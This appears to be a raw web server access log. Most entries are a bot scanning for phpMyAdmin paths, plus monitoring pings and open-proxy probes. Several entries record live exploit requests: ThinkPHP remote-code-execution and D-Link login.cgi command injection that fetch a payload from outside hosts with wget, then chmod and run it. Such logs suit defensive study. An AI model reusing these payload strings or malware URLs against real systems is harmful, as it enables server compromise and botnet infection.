203.195.229.145 - - [04/Feb/2020:21:06:20 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:21 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:21 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:22 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:24 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:24 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:25 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:25 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:25 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:26 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:28 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:28 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:30 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:32 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:32 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:34 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:36 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:38 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:39 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:40 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:40 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:06:43 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:43 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:45 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:48 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:48 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:49 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:52 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:52 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:52 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:53 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:54 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:56 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:56 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:56 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:58 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:00 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:00 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:01 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:06 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:08 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:08 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:10 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:12 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:12 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:14 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:16 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:16 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:16 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:16 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:16 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:17 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:18 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:28 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:28 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:28 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:28 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:29 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:29 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:31 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:31 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:32 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:34 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:36 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:36 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:39 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:40 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:41 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:07:44 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:46 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:47 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:48 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:48 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:49 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:52 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:07:52 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.92.22.118 - - [04/Feb/2020:21:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:21:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.228.161.100 - - [04/Feb/2020:21:12:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.76.233.223 - - [04/Feb/2020:21:14:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.184.164.89 - - [04/Feb/2020:21:14:10 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.80.153.207 - - [04/Feb/2020:21:14:11 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.176.97 - - [04/Feb/2020:21:14:11 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.79.49.228 - - [04/Feb/2020:21:14:11 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.140.124 - - [04/Feb/2020:21:14:12 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
78.186.171.231 - - [04/Feb/2020:21:14:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
123.158.61.97 - - [04/Feb/2020:21:14:14 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
1.202.113.158 - - [04/Feb/2020:21:14:14 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.12.10.108 - - [04/Feb/2020:21:14:15 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.94.212.5 - - [04/Feb/2020:21:14:16 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
83.97.20.35 - - [04/Feb/2020:21:14:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.83.227.157 - - [04/Feb/2020:21:16:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:21:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.59.47.44 - - [04/Feb/2020:21:17:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.85.218 - - [04/Feb/2020:21:17:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.20 - - [04/Feb/2020:21:18:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [04/Feb/2020:21:19:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.165.192.28 - - [04/Feb/2020:21:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.13.98 - - [04/Feb/2020:21:20:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [04/Feb/2020:21:21:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [04/Feb/2020:21:22:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
